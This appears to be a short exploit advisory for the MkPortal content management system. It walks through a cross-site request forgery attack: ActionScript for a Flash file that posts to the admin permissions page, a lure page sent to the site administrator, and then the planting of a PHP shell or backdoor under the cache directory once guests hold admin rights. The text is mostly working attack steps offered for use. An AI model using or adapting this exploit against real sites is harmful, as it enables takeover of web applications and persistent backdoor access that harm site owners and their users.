MkPortal "All Guests are Admin" Exploit Vulnerability discovered and exploited by: Demential Web: http://headburn.altervista.org E-mail: info[at]burnhead[dot]it Mkportal website: http://www.mkportal.it Start Macromedia Flash and create an swf file with this code: var idg:Number = 9; var p13:Number = 1; var Salva:String = "Save+Permissions"; getURL("http://victim.com/mkportal/admin.php?ind=ad_perms&op=save_main", "_self", "POST"); Translate "Save+Permissions" in MKPortal language. Example: "Salva+questi+permessi" for italian sites. Then upload the swf file to a webserver and create an html page like this: Put a title here

Put some text here

Now send the html page to MKPortal administrator. When admin opens the page all guests will be able to administrate MKPortal. So you can go here: http://victim.com/mkportal/admin.php?ind=ad_contents&op=contents_new_php and paste a php shell or a backdoor. You can find your shell here: http://victim.com/mkportal/cache/ppage_*.php where * is the ID of the page. Translate "page" in MKPortal language. Example: "pagina" for italian sites.